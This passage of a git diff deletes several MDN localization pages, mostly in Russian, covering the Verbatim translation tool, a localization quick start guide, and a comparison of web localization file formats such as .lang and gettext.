- <dt><a href="/en-US/docs/Project:MDN/Localizing" title="/en-US/docs/Project:MDN/Localizing">Локализация MDN</a></dt>
- <dd>О переводе документации, находящейся здесь, на MDN.</dd>
- <dt><a href="/en-US/Apps/Build/Localization">Локализация приложений</a></dt>
- <dd>Руководство по локализации приложений, например, приложений для Firefox OS.</dd>
- <dt><a href="/en-US/docs/Web/API/L10n">L10n</a></dt>
- <dd>Справочные материалы по API «L10n», используемому Mozilla для локализации Firefox OS.</dd>
-</dl>
diff --git a/files/ru/mozilla/localization/localizing_with_verbatim/index.html b/files/ru/mozilla/localization/localizing_with_verbatim/index.html
deleted file mode 100644
index 3ecd5e692d..0000000000
--- a/files/ru/mozilla/localization/localizing_with_verbatim/index.html
+++ /dev/null
@@ -1,162 +0,0 @@
----
-title: Локализация с Verbatim
-slug: Mozilla/Localization/Localizing_with_Verbatim
-tags:
- - Verbatim
- - Локализация
- - Перевод
-translation_of: Mozilla/Localization/Localizing_with_Pontoon
----
-<p>Verbatim — веб-инструмент (точнее, используемый Mozilla экземпляр Pootle) ​​для локализации веб-контента Mozilla.  Он может быть использован для локализации разнообразных проектов Mozilla и способен поддерживать любой язык.  Это руководство покажет вам, как делается локализация обычного веб-проекта Mozilla. Учебник даст вам прочную основу для использования Verbatim при локализации любого веб-проекта Mozilla, который вы хотите локализовать вместе с вашим сообществом.  Мы расскажем, для каких именно проектов сейчас используется Verbatim, как приступить к работе с ним, и какие задачи обычно решаются с его помощью.</p>
-
-<h2 id="Приступая_к_работе_с_Verbatim">Приступая к работе с Verbatim</h2>
-
-<p>Будучи веб-интерфейсом, Verbatim требует наличия интернет-соединения. Существует два способа начать работу с Verbatim: начать новую локализацию или присоединиться к существующему сообществу локализации. В любом случае, вам нужно будет выполнить следующие действия, чтобы начать работать на Verbatim проекте.</p>
-
-<table style="border-color: rgb(0,0,0); border-style: solid; width: 100%;">
- <thead>
- <tr style="text-align: center;">
- <th scope="col" style="text-align: center;"><strong>Начать новую локализацию в Verbatim</strong></th>
- <th scope="col" style="text-align: center;"><strong>Подключиться к существующей локализации в Verbatim</strong></th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>
- <ol>
- <li>Откройте в вашем браузере <a class="external" href="http://localize.mozilla.org/">http://localize.mozilla.org</a>. Там находится Verbatim.</li>
- </ol>
- </td>
- <td>
- <ol>
- <li>Откройте в вашем браузере <a class="external" href="http://localize.mozilla.org/">http://localize.mozilla.org</a>. Там находится Verbatim.</li>
- </ol>
- </td>
- </tr>
- <tr>
- <td>
- <ol start="2">
- <li>Если у вас есть аккаунт Mozilla LDAP войдите в систему используя LDAP полномочия. Если нет, зарегистрируйте учетную запись и войдите. Ссылки для того и другого расположены в правом верхнем углу страницы.</li>
- </ol>
- </td>
- <td>
- <ol start="2">
- <li>Если у вас есть аккаунт Mozilla LDAP войдите в систему, используя LDAP полномочия. Если нет, зарегистрируйте учетную запись и войдите. Ссылки для того и другого расположены в правом верхнем углу страницы.</li>
- </ol>
- </td>
- </tr>
- <tr>
- <td>
- <ol start="3">
- <li>Создайте <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;blocked=&amp;bug_file_loc=https%3A%2F%2Flocalize.mozilla.org%2F&amp;bug_severity=normal&amp;bug_status=NEW&amp;cf_blocking_191=---&amp;cf_blocking_192=---&amp;cf_status_191=---&amp;cf_status_192=---&amp;cf_status_firefox10=---&amp;cf_status_firefox11=---&amp;cf_status_firefox8=---&amp;cf_status_firefox9=---&amp;cf_tracking_firefox10=---&amp;cf_tracking_firefox11=---&amp;cf_tracking_firefox8=---&amp;cf_tracking_firefox9=---&amp;comment=I%20would%20like%20to%20request%20that%20you%20add%20the%20%5Binsert%20your%20locale%20code%20here%5D%20as%20a%20new%20localization%20in%20Verbatim.%0D%0A%0D%0A%5BAdd%20any%20other%20comments%20you%20may%20have%20here.%5D&amp;component=Verbatim&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-4=X&amp;flag_type-607=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Webtools&amp;qa_contact=verbatim%40webtools.bugs&amp;rep_platform=All&amp;requestee_type-325=&amp;requestee_type-4=&amp;requestee_type-607=&amp;short_desc=Request%20for%20new%20localization%20on%20Verbatim&amp;status_whiteboard=&amp;target_milestone=---&amp;version=Trunk" title="https://bugzilla.mozilla.org/enter_bug.cgi?alias=&amp;assigned_to=nobody%40mozilla.org&amp;blocked=&amp;bug_file_loc=https%3A%2F%2Flocalize.mozilla.org%2F&amp;bug_severity=normal&amp;bug_status=NEW&amp;cf_blocking_191=---&amp;cf_blocking_192=---&amp;cf_status_191=---&amp;cf_status_192=---&amp;cf_status_firefox10=---&amp;cf_status_firefox11=---&amp;cf_status_firefox8=---&amp;cf_status_firefox9=---&amp;cf_tracking_firefox10=---&amp;cf_tracking_firefox11=---&amp;cf_tracking_firefox8=---&amp;cf_tracking_firefox9=---&amp;comment=I%20would%20like%20to%20request%20that%20you%20add%20the%20%5Binsert%20your%20locale%20code%20here%5D%20as%20a%20new%20localization%20in%20Verbatim.%0D%0A%0D%0A%5BAdd%20any%20other%20comments%20you%20may%20have%20here.%5D&amp;component=Verbatim&amp;contenttypeentry=&amp;contenttypemethod=autodetect&amp;contenttypeselection=text%2Fplain&amp;data=&amp;defined_groups=1&amp;dependson=&amp;description=&amp;flag_type-4=X&amp;flag_type-607=X&amp;form_name=enter_bug&amp;keywords=&amp;maketemplate=Remember%20values%20as%20bookmarkable%20template&amp;op_sys=All&amp;priority=--&amp;product=Webtools&amp;qa_contact=verbatim%40webtools.bugs&amp;rep_platform=All&amp;requestee_type-325=&amp;requestee_type-4=&amp;requestee_type-607=&amp;short_desc=Request%20for%20new%20localization%20on%20Verbatim&amp;status_whiteboard=&amp;target_milestone=---&amp;version=Trunk">баг-заявку</a> с помощью этого заранее сделанного шаблона. Добавьте код локали и название языка в поле описания, а также любую другую информацию, которой вы хотели бы поделиться. См. следующий пример (хотя он, возможно, должен быть на английском — тогда см. в <a href="//developer.mozilla.org/en-US/docs/Mozilla/Localization/Localizing_with_Verbatim">английской версии статьи</a>).</li>
- </ol>
-
- <div class="note">Пример: Я хотел бы попросить вас добавить <strong>en-US</strong> в качестве новой локализации в Verbatim. Язык — <strong>русский</strong>. Кроме того, я хотел печенье. Много-много печенья. Я легко приму любые хлебобулочные изделия.</div>
- </td>
- <td>
- <ol start="3">
- <li><a class="link-https" href="https://wiki.mozilla.org/Category:L10n_Teams" title="https://wiki.mozilla.org/Category:L10n_Teams">Свяжитесь с сообществом</a>, чтобы выяснить, на каких проектах желательно сосредоточить свои усилия. См. в следующем примере, что можно написать в вашем e-mail лидерам сообщества.</li>
- </ol>
-
- <div class="note">Пример: Я хотел бы присоединиться к вам в работе над этой локалью с помощью Verbatim. С чего мне лучше начать? Кроме того, я хотел бы купить вам выпивку, чтобы побудить вас позволить мне присоединиться к команде!</div>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Теперь, когда вы зарегистрировались и вошли, мы обрисуем общий рабочий процесс перевода, используя как пример <a class="link-https" href="https://localize.mozilla.org/projects/mdn" title="https://localize.mozilla.org/projects/mdn/">страницу проекта MDN</a>.</p>
-
-<h2 id="Перевод">Перевод</h2>
-
-<p>Первое, что вам нужно — найти исходные непереведенные строки для перевода.</p>
-
-<ol>
- <li>Перейдите на <a class="link-https" href="https://localize.mozilla.org/projects/mdn" title="https://localize.mozilla.org/projects/mdn/">страницу проекта MDN</a>.</li>
- <li>Выберите язык на вкладке Обзор.</li>
- <li>Теперь нажмите на вкладку <strong>Translate</strong> (Перевод). Эта вкладка будет показывать каталоги для пользовательского интерфейса MDN.</li>
- <li>Выберите каталог <strong>LC Messages</strong>.  Там находятся <strong>.po</strong>-файлы проекта со переводимыми строками.  Теперь вы увидите обзор каждого <code>.po</code>-файла.</li>
- <li>В сводной колонке будет в виде ссылке показано количество непереведённых слов.  Нажмите на эту ссылку, чтобы оказаться непосредственно на первой строке, нуждающейся в переводе.</li>
-</ol>
-
-<p>Теперь вы готовы внести свой вклад в переводы, невероятно, как это просто. Проверьте это так, вы можете переводить в два простых шага:</p>
-
-<ol>
- <li>Просто введите ваш перевод в поле ниже английской строки</li>
- <li>Выберите <strong>Suggest</strong>. Если у вас есть право подтверждать, выберите <strong>Submit</strong>. Вы будете перемещены к следующей строке, нуждающейся в переводе.</li>
- <li>Ура!  Вы переводите!  Повторяйте шаги один и два с оставшимися непереведёнными строками.</li>
-</ol>
-
-<div class="note">Примечание: Если вам попадётся строка, у которой уже есть Предлагаемый перевод, вы всё равно можете предложить свой собственный перевод, если вы чувствуете, что он является более точным.</div>
-
-<h3 id="Некоторые_интересные_функции_на_Verbatim">Некоторые интересные функции на Verbatim</h3>
-
-<p>Вот несколько дополнительных пунктов об интерфейсе Verbatim, которые полезно знать. Некоторые из них можно увидеть в скриншоте ниже.</p>
-
-<p><a href="/@api/deki/files/5930/=Translate_Tab.png" title="Translate Tab.png"><img alt="Translate Tab.png" class="default internal" src="/@api/deki/files/5930/=Translate_Tab.png" style="height: 221px; width: 1113px;"></a></p>
-
-<ul>
- <li>Вы можете скопировать английскую строку в поле перевода нажатием на значок <strong>Copy</strong>.</li>
- <li>Вы можете использовать машинный перевод нажатием на значок <strong>Google Translate</strong>.</li>
- <li>Вы можете перемещаться между строками вперёд и назад нажатиями на кнопки <strong>Next</strong> и <strong>Previous</strong>.</li>
- <li>Вы можете переключиться сразу на конкретную строку нажатием на её номер с левого краю.</li>
- <li>Вы можете пометить перевод как <strong>Fuzzy</strong>, если вы думаете, что что-то можно сказать лучше.  Эта пометка поможет найти и обновить его позже.  Помните, что в репозиторий локализации попадут только submitted строки, а не fuzzy-строки.  Если строки остаются fuzzy, то в локализованной версии будет исходная строка, а не переведённая.</li>
- <li>Вы можете добавить примечания о конкретной строке в разделе <strong>Translator Comments</strong>.</li>
- <li>При переводе строки с формами единственного и множественного числа справа будет два поля.  Поле для формы единственного числа подписано <strong>Plural Form 0</strong>, а для формы множественного — <strong>Plural Form 1</strong>.</li>
-</ul>
-
-<h2 id="Дополнительные_задачи">Дополнительные задачи</h2>
-
-<p>Если вы локализатор с привилегиями одобрения, вот еще несколько задач, которые вы должны знать.</p>
-
-<h3 id="Обзор_предлагаемых_переводов">Обзор предлагаемых переводов</h3>
-
-<ol start="1">
- <li>Кликните вкладку <strong>Review</strong>.  Она покажет, сколько строк ждут рассмотрения для каждого <code>.po</code>-файла.<a href="/@api/deki/files/5931/=Review_Tab1.png" title="Review Tab1.png"><img alt="Review Tab1.png" class="internal rwrap" src="/@api/deki/files/5931/=Review_Tab1.png?size=webview" style="float: right; height: 145px; width: 274px;"></a></li>
- <li>Выберите <strong style="font-weight: bold;">Review</strong><strong> suggestions</strong> чтобы утверждить предложение. Это приведет вас к первой строке, которая должна быть пересмотрена.</li>
- <li>Вы можете принять предложение, нажав на зеленую галочку или отклонить предложение нажав красный X (см скриншот из предыдущего раздела).</li>
-</ol>
-
-<p>Важно отметить, что только представленные строки появятся в ваших локализованных страницах. Не предложеные в  fuzzy строки. Перед принятием своего окончательного локализованного продукта, убедитесь, что все строки были представлены.</p>
-
-<h3 id="Использование_VCS_на_Verbatim">Использование VCS на Verbatim</h3>
-
-<p>VCS (<strong>V</strong>ersion <strong>C</strong>ontrol <strong>S</strong>ystem) это системное хранилище используемое для обновления строки проекта, а также продвижение Вашего переведенного контента на веб. Разница между этими двумя задачами просто материя, из которой ссылаются на кнопку мыши.</p>
-
-<p><img alt="VCS.png" class="internal rwrap" src="/@api/deki/files/5925/=VCS.png" style="float: right;">Чтобы протолкнуть ваши строки в Интернет, и увидеть изменения, просто выберите <strong>Commit to VCS</strong> ссылка под каждым именем файла. Это, как правило, занимает около часа, прежде чем вы можете увидеть изменения на сайте проекта.</p>
-
-<p>Чтобы обновить <code>.po</code> файлы с новыми непереведенными строками, просто выберите <strong>Update from VCS</strong> ссылка под каждым именем файла.</p>
-
-<p> </p>
-
-<div class="note"><br>
-Примечание: Некоторые проекты автоматически обновляются каждый вечер в то время как другие требуют, обновлять их в ручную чтобы получить новое содержание источника. Обратите на это пристальное внимание, так как это может изменить ваш рабочий процесс.</div>
-
-<h2 id="Перевод_файлов_Verbatim_с_помощью_внешнего_приложения">Перевод файлов Verbatim с помощью внешнего приложения</h2>
-
-<p>Обратитесь к вкладке Translate, у вас есть возможность экспортировать <code>.po </code>и <code>.xliff</code> файлы и перевести строки с помощью внешнего приложения (i.e., текстовый редактор или память переводов).</p>
-
-<ol>
- <li>Чтобы скачать <code>.po</code> file, выберите <strong>Download</strong> ссылка находится под каждым именем файла. Чтобы скачать the .<code>xliff</code> file, выберите <strong>Download XLIFF</strong> ссылка.</li>
- <li>Перейдите к переводу строки с помощью выбранного инструмента.</li>
-</ol>
-
-<p>После того, как вы закончили свой перевод, вам нужно загрузить файл Verbatim. Вы можете сделать это с <strong>Translate</strong> счет.</p>
-
-<ol>
- <li>Перейдите к нижней части списка файлов в разделе <strong>Upload File</strong>.</li>
- <li>Нажмите на <strong>Browse</strong> и выберите файл, который вы хотите загрузить.</li>
- <li>Выберите параметр загрузки из предлагаемых вариантов.</li>
- <li>После того, как ваши настройки загрузки был выбраны, нажмите <strong>Upload</strong>.</li>
-</ol>
-
-<div class="warning">
-<p class="warning">Важно: В прошлом были некоторые проблемы у членов общин которые обновляют свои исходные строки, в то время как другие находятся в процессе локализации предыдущего обновленния файла.  Это может привести к тому, что членам общины выходят новые строки источника, производя непереведенные строки в локализованный проект. Координируйте эти обновления вручную в пределах вашего сообщества, чтобы избежать этой проблемы.</p>
-</div>
-
-<h2 id="Вы_готовы_начать!">Вы готовы начать!</h2>
-
-<p>Вот так! Вы прибыли в конце! Время взять ваше знание и направить его на хорошее применение распространения Mozilla всем в вашем регионе. Получайте удовольствие и <a class="link-mailto" href="mailto:l10n-drivers@mozilla.com" title="l10n-drivers@mozilla.com">let us know</a> если вы столкнулись с трудностями. Мы будем рады помочь в любом случае.</p>
-
-<p> </p>
-
-<p><a href="/en/Localization_Quick_Start_Guide:_Translation" title="Localization Quick Start Guide: Translation">Back: Quick Start Guide</a></p>
diff --git a/files/ru/mozilla/localization/quick_start_guide/index.html b/files/ru/mozilla/localization/quick_start_guide/index.html
deleted file mode 100644
index 1920ac8598..0000000000
--- a/files/ru/mozilla/localization/quick_start_guide/index.html
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: Руководство по началу локализации
-slug: Mozilla/Localization/Quick_start_guide
-tags:
- - Как перевести
- - Локализация
- - Перевод
- - Перевод с английского
- - Русский
-translation_of: Mozilla/Localization/Quick_start_guide
----
-<p>Добро пожаловать в локализацию Mozilla (Сокращенно: L10n)!</p>
-
-<div class="yt-area-textbox yt-area-textbox__textbox" id="dstTextBox"><span>Если вы оказались здесь с намерением внести свою лепту</span> в <span>локализацию</span> <span>проекта Mozilla</span> <span>или</span> <span>объединить усилия</span> <span>существующих</span> локализаторов<span>, то вы пришли по адресу</span>. Этот справочник объединяет в себе всю основную и техническую информацию, которая может вам понадобиться для работы с программой <span>Mozilla</span> <span>l10n</span>. <span>Мы проведем вас через все начальные</span> <span>шаги,</span> <span>от начальной установки среды для тестирования до выпуска вашей локализации</span>. <span>Попутно вы</span> <span>узнаете о</span> <span>множестве проектов,</span> <span>в которые вы можете внести свой вклад и об инструментах</span><span>, используемые для</span> <span>их локализации</span></div>
-
-<div class="yt-area-textbox yt-area-textbox__textbox"> </div>
-
-<div class="yt-area-textbox yt-area-textbox__textbox" id="dstTextBox"><span>Когда мы перейдем к</span> <span>конкретным примерам</span>, <span>мы возьмем</span> <span>их из</span> <span>проекта Firefox</span><span>, так как он</span> <span>является наиболее широко</span> <span>локализованным</span> <span>в рамках проекта</span> <span>Mozilla</span>. В конце всего руководства, <span>вы сможете внести</span><span> изменения</span> <span>в ваш локально установленный Firefox</span><span>, а затем</span> <span>увидеть все произошедшие изменения в Firefox</span>. Одним словом, <span>после прочтения всего руководства</span>, <span>вы получите в свои руки все</span> <span>инструменты, необходимые</span><span>, чтобы начать работу</span>!</div>
-
-<div class="yt-area-textbox yt-area-textbox__textbox"> </div>
-
-<p>Запомните, это руководство обучит вас только техническим аспектам L10n Mozilla. Посетите страницу  <a class="link-https" href="https://wiki.mozilla.org/L10n:Localization_Process" title="https://wiki.mozilla.org/L10n:Overview"> L10n,</a> чтобы узнать обо всем процессе локализации</p>
-
-<div style="width: 27%; background-color: #4AA02C; float: left; display: block; margin: 1.5%; border: 1px solid #C4C295; text-align: center; padding: 2.5%; padding-top: 0px;">
-<h2 id="Первоначальная_настройка"><a href="/en-US/docs/Mozilla/Localization/Quick_start_guide/Initial_setup" title="en/Localization_Quick_Start_Guide/Initial_setup">Первоначальная настройка</a></h2>
-Техническая работа перед началом локализации</div>
-
-<div style="width: 23%; background-color: #A2BFF4; float: left; display: block; margin: 1.5%; border: 1px solid #C4C295; text-align: center; padding: 2.5%; padding-top: 0px;">
-<h2 id="Фаза_перевода"><a href="/en-US/docs/Mozilla/Localization/Quick_start_guide/Translation_phase" title="en/Localization_Quick_Start_Guide/Translation_phase">Фаза перевода</a></h2>
-
-<p>Инструменты для перевода L10n</p>
-</div>
-
-<div style="width: 25%; height: 130px; background-color: orange; float: left; display: block; margin: 1.5%; border: 1px solid #C4C295; text-align: center; padding: 2.5%; padding-top: 0px;">
-<h2 id="Фаза_тестирования"><a href="/en-US/docs/Mozilla/Localization/Quick_start_guide/QA_phase" title="en/Localization_Quick_Start_Guide/QA_phase">Фаза тестирования</a></h2>
-Инструменты тестирования L10n</div>
-
-<div style="width: 92%; background-color: #C0C0C0; float: left; display: block; margin: 1.5%; border: 1px solid #C4C295; text-align: center; padding: 2.5%; padding-top: 0px;">
-<h2 id="Фаза_релиза"><a href="/en-US/docs/Mozilla/Localization/Quick_start_guide/Release_phase" title="en/Localization_Quick_Start_Guide/Release_phase">Фаза релиза</a></h2>
-Шаги для предоставления вашей локализации</div>
-
-<div style="background-color: white; border: 3px solid; display: block; padding: 20px; margin-top: 20px;">Все эти 4 шага образуют собой техническую сторону программы l10n. Чтобы узнать больше о каждом из них, кликните на любую из ссылок выше. Чтобы составить общую картину, мы рекомендуем вам начать с зеленого квадратика и двигаться от шага к шагу</div>
-
-<p> </p>
-
-<div class="note"><strong>Примечание</strong>: Это руководство написано для двух типов контрибуторов: начинающих новый перевод и присоединяющихся к текущей созданной локализации. Важно знать, какая информация к каким типам контрибуторов относится. Чтобы помочь Вам найти более бодходящую информацию, заметьте, что информация, необходимая дла начала локализации, отмечена <span style="color: #daa520;">ораньжевым шрифтом</span>. Вся информация о присоединении к переводу созданного локала <span style="color: #0000ff;">синим шрифтом</span>.</div>
-
-<p class="note"> </p>
-
-<p>{{ Next("Localization_Quick_Start_Guide/Initial_setup") }}</p>
diff --git a/files/ru/mozilla/localization/web_localizability/index.html b/files/ru/mozilla/localization/web_localizability/index.html
deleted file mode 100644
index d8a814e46b..0000000000
--- a/files/ru/mozilla/localization/web_localizability/index.html
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: Web Localizability
-slug: Mozilla/Localization/Web_Localizability
-tags:
- - Internationalization
- - Localizability
- - Localization
- - NeedsTranslation
- - TopicStub
- - Web Development
-translation_of: Mozilla/Localization/Web_Localizability
----
-<p>Localizability (or <em>l12y</em> for short) is a characteristic found in an application or content that enables localization. The following list contains links to pages that highlight steps that can be taken to make web content localizable.  The documentation is divided into 4 parts:</p>
-<ol> <li><a href="/en/Web_Localizability/Creating_localizable_web_content" title="en/Web Localizability/Creating localizable web content">How to create localizable content.</a></li> <li><a href="/en/Web_Localizability/Localization_formats" title="en/Web Localizability/Localization formats">How to choose the right localization format.</a></li> <li><a href="/en/Web_Localizability/Creating_localizable_web_applications" title="en/Web Localizability/Creating localizable web applications">How to create localizable web applications.</a></li> <li><a href="/en/Web_Localizability/Setting_up_the_infrastructure" title="en/Web Localizability/Setting up the infrastructure">How to set up the infrastructure for localization.</a></li>
-</ol>
-<h3 id="Why_localizability_is_important">Why localizability is important</h3>
-<p>There are many reasons why you should start thinking about making your web app localizable as soon as possible.</p>
-<ol> <li>You will make localizer's life easier, for which they will be grateful.</li> <li>You will have quality content, localized and adapted to the needs of the local market.</li> <li>Extending you web app to support new languages will be easy.</li> <li>The content will be easier to maintain and update.</li> <li>You will end up writing more semanticly-correct code, which is good for your SEO.</li> <li>By reviewing your content and code for l12y, you will find and fix bugs in your original language too.</li>
-</ol>
diff --git a/files/ru/mozilla/localization/web_localizability/localization_formats/index.html b/files/ru/mozilla/localization/web_localizability/localization_formats/index.html
deleted file mode 100644
index 73b6f46846..0000000000
--- a/files/ru/mozilla/localization/web_localizability/localization_formats/index.html
+++ /dev/null
@@ -1,171 +0,0 @@
----
-title: Localization formats
-slug: Mozilla/Localization/Web_Localizability/Localization_formats
-translation_of: Mozilla/Localization/Web_Localizability/Localization_formats
----
-<p>{{ Warning("This document pertains to the developemt of Mozilla web sites and not to the development of Gecko-based extensions or applications.") }}</p>
-
-<p>There are 4 main approaches to web l10n with regards to the choice of technology used for localization logic:</p>
-
-<ol>
- <li>HTML/PHP</li>
- <li>.lang</li>
- <li>gettext (.po)</li>
- <li>wiki (TBD)</li>
-</ol>
-
-<p>The choice of the filetype depends on a couple of factors:</p>
-
-<ul>
- <li>How much content is there to be localized?</li>
- <li>How often, if at all, the site will be updated after the launch?
- <ul>
- <li>Is this a long-term project with continuous updates to content?</li>
- <li>Is this a long-term project with stable content?</li>
- <li>Is this a short-term project?</li>
- </ul>
- </li>
- <li>Will the content differ per locale? If so, to what extent?</li>
-</ul>
-
-<p>As every new web-dev project takes shape, a project manager should ask themselves these questions and have the answers ready before starting the web l10n process.</p>
-
-<h2 id="HTMLPHP"><span class="mw-headline">HTML/PHP </span></h2>
-
-<p>Возможно, вы проектируете проект с относительно небольшими потребностями перевода, например, от трех до четырех строк (или более) контента, требующего от пользователей обновления до следующей версии доступного программного обеспечения. Вы можете представить только HTML для локализации:</p>
-
-<p>We give an HTML file which lists several pieces of content like,</p>
-
-<pre> &lt;H1&gt;Getting Started&lt;/H1&gt;
-</pre>
-
-<p>and the localizer translates to</p>
-
-<pre> &lt;H1&gt;Débuter avec Firefox&lt;/H1&gt;
-</pre>
-
-<p>The localizer then submits the translated HTML or PHP back to us by either checking in changes to SVN or sending us a patch that Pascal checks in.</p>
-
-<h3 id="Advantages_to_HTML"><span class="mw-headline">Advantages to HTML</span></h3>
-
-<ol>
- <li>Good for small projects</li>
- <li>Very simple for web developers</li>
- <li>Gives localizers the exact context of translations</li>
- <li>A localizer who knows basic HTML can style translations to make sure translations display correctly...we can allow slight modifications (e.g. RTL or wider display)</li>
- <li>Gives the possibility to customize content per locale</li>
- <li>Simple workflow, just put the file on svn and it can appear on the staging server</li>
-</ol>
-
-<h3 id="Disadvantages_to_HTML"><span class="mw-headline">Disadvantages to HTML</span></h3>
-
-<ol>
- <li>Very hard for QA
- <ul>
- <li>If localizer changes something incorrectly (i.e. accidentally removes some HTML like <code>&lt;/h1&gt;</code>, that localizer can break everything.)</li>
- </ul>
- </li>
- <li>Very hard to update automatically, if not impossible.</li>
- <li>Can be hard to tell what has changed</li>
-</ol>
-
-<h2 id=".lang_files"><span class="mw-headline">.lang files </span></h2>
-
-<p>Historically, Mozilla has used a gettext-like file to present content for localization. .lang files provide some features that differentiate it from Gettext:</p>
-
-<ul>
- <li>.lang is not dependent on PHP/.po library, so if our webdev team sets up a site without gettext support, we still have .lang. (It should be noted that this is near impossibility since most sites will be set up with gettext support.)</li>
- <li>.lang files can be easily edited in a text editor</li>
-</ul>
-
-<p>With this setup, a localizer is given a "[something].lang" file containing all the strings needing localization. That file will have the following structure:</p>
-
-<pre> ;Getting Started
- Débuter avec Firefox
-</pre>
-
-<p>The English content is designated by the semi-colon and the localizer provides the translation underneath. That content is placed into an array that is used by the PHP code later.</p>
-
-<pre> $array["Getting Started"] = "Débuter avec Firefox"
-</pre>
-
-<p>The PHP code searches the array and returns the translation that is associated with the English term used by the web developer.</p>
-
-<p>See the example below.</p>
-
-<pre> &lt;H1&gt;&lt;?PHP echo ___("Getting Started")?&gt;&lt;/H1&gt;
- function ___($str) {
- return $array[$str];
- }</pre>
-
-<h3 id="Advantage_to_.lang"><span class="mw-headline">Advantage to .lang</span></h3>
-
-<ol>
- <li>Simple work-flow allowing the web developer to place the file in SVN and it can appear on the staging server</li>
- <li>.lang syntax is like simplified .po, which many localizers who are familiar with linux and other projects understand</li>
- <li>Mozilla has a basic tool called main.lang checker, which can show any untranslated files to the localizer</li>
- <li>no need to compile to .mo file so a localizer can see his/her changes more quickly</li>
- <li>creating simple diffs</li>
- <li>.lang files will be cached which will reduce any slowness effect</li>
-</ol>
-
-<h3 id="Disadvantage_to_.lang"><span class="mw-headline">Disadvantage to .lang</span></h3>
-
-<ol>
- <li>no plural forms</li>
- <li>no context for localizers unless you provide good comments</li>
- <li>no styling by localizers if it is needed</li>
- <li>may be slower because file is not compiled into binaries</li>
- <li>not used as a standard by any other localization project</li>
- <li>no tools to validate syntax, so a localizer may cause accidental errors that can cause breakage (level of breakage depends on level of error)</li>
- <li>cannot use po editor, which most localizers know and love</li>
-</ol>
-
-<h2 id="gettext_(.po)"><span class="mw-headline">gettext (.po) </span></h2>
-
-<p>Gettext is a widely-used localization format that uses .po files. With this arrangement, content for localization is presented in the following manner:</p>
-
-<pre> msgid "coming soon"
- msgstr "Bientôt disponible"
-</pre>
-
-<p>where the value in the "" of the <code>msgid</code> is the English content, and the value in the "" of the <code>msgstr</code> is the translation. <code>msgstr</code> can be longer translations than just the exact above. For example, below is the entire introduction used for a certificate that was presented to those who downloaded Firefox during the Download Day campaign. The French content runs three lines:</p>
-
-<pre> msgid "certificate_intro"
- msgstr ""
- "Merci de nous avoir aidé à établir ce record du monde ! "
- "Allez-y et montrez-le en téléchargeant et en imprimant votre "
- "certificat personnalisé Firefox 3 Download Day."
-</pre>
-
-<h3 id="Advantages_of_gettext"><span class="mw-headline">Advantages of gettext</span></h3>
-
-<ol>
- <li>gettext has very powerful tools to update this site (if you use the actual English strings in <code>msgid</code>s, not unique identifier strings like <code>certificate_intro</code>)</li>
- <li>Very established with a large set of powerful tools</li>
- <li>Harder to screw things up because existing tools will not allow localizers to edit the l10n file where they shouldn't</li>
- <li>Separates localizable strings available for localizers for the rest of the code, protecting it from unintended changes</li>
-</ol>
-
-<h3 id="Disadvantage_of_gettext"><span class="mw-headline">Disadvantage of gettext</span></h3>
-
-<ol>
- <li>.po file needs to be compiled into a .mo file for localizer to see changes</li>
- <li>Using regular <code>diff</code> to see changes to a file is sometimes impossible because the editing tool can save the .po file using a completely different structure or order of entities.</li>
-</ol>
-
-<p>Read more about gettext <a class="external" href="http://en.wikipedia.org/wiki/GNU_gettext" title="http://en.wikipedia.org/wiki/GNU_gettext">on Wikipedia</a> and <a href="/en/gettext" title="en/gettext">on MDC</a>.</p>
-
-<h2 id="Wiki"><span class="mw-headline">Wiki </span></h2>
-
-<p>Blogging, documentation, and other types of Mozilla content often surface as wikis.</p>
-
-<h2 id="Case_study_Download_Day"><span class="mw-headline">Case study: Download Day</span></h2>
-
-<p>In the above Gettext example, notice how the web developer used "certificate_intro" as the value of the msgid. This is not the actual content that was translated. So, if a localizer wanted to use one of the many powerful Gettext tools, like po-editor, the msgid provides NO CONTEXT for translation or for other localizers to verify translations when QA-ing. This should have been avoided.</p>
-
-<p>In the case of Download Day, someone created entity-like identifiers in the msgid, which we have shown above with the "certificate_intro" key. Then, an en-US repository was created holding the translations to all the entity-like values of msgid. This is very non-standard because it avoids one of the obvious powers of Gettext. When English content is used as the value of the msgid, there is no need to place that content in a special repository.</p>
-
-<p>But, in the Download Day example, when changes were made to en-US, the web-developer had to push those changes to all the repositories of all the locales. Localizers had to revisit an en-US repository to find the exact msgid, review the change, and return to their repository to make changes.</p>
-
-<p>Without having the exact content as the msgid, this process may cause several errors since the localizers cannot has to continually switch back-and-forth. In this case, the choice to use customized values for msgid was error-prone, onerous, and unfamiliar to localizers who are used to more customary Gettext operations.</p>
diff --git a/files/ru/mozilla/localization/локализация_с_помощью_pontoon/index.html b/files/ru/mozilla/localization/локализация_с_помощью_pontoon/index.html
deleted file mode 100644
index 5da2effe14..0000000000
--- a/files/ru/mozilla/localization/локализация_с_помощью_pontoon/index.html
+++ /dev/null
@@ -1,124 +0,0 @@
----
-title: Локализация с помощью Pontoon
-slug: Mozilla/Localization/Локализация_с_помощью_Pontoon
-tags:
- - Pontoon
- - Локализация
- - Перевод
-translation_of: Mozilla/Localization/Localizing_with_Pontoon
----
-<p><a href="https://pontoon.mozilla.org" title="https://pontoon.mozilla.org">Pontoon</a> - это веб-приложение в стиле WYSIWYG-редактора (What-You-See-Is-What-You-Get - "Что видишь, то и получается"), используемое для перевода содержимого страниц сети Интернет на другой язык. Мы используем Pontoon для локализации всех продуктов Mozilla и веб-сайтов Mozilla. (Так же для интерфейса приложений операционной системы Firefox OS, известного под названием Gaia). Pontoon - это очень простой интуитивно понятный инструмент, который практически не требует каких-либо технических навыков в процессе локализации. В этой статье мы расскажем, как использовать Pontoon для локализации проектов, начиная с момента регистрации в системе и заканчивая вашим участием в коллективном переводе. Заодно покажем некоторые приятные возможности, которые сделают процесс перевода ещё эффективнее и проще.</p>
-
-<div class="note">
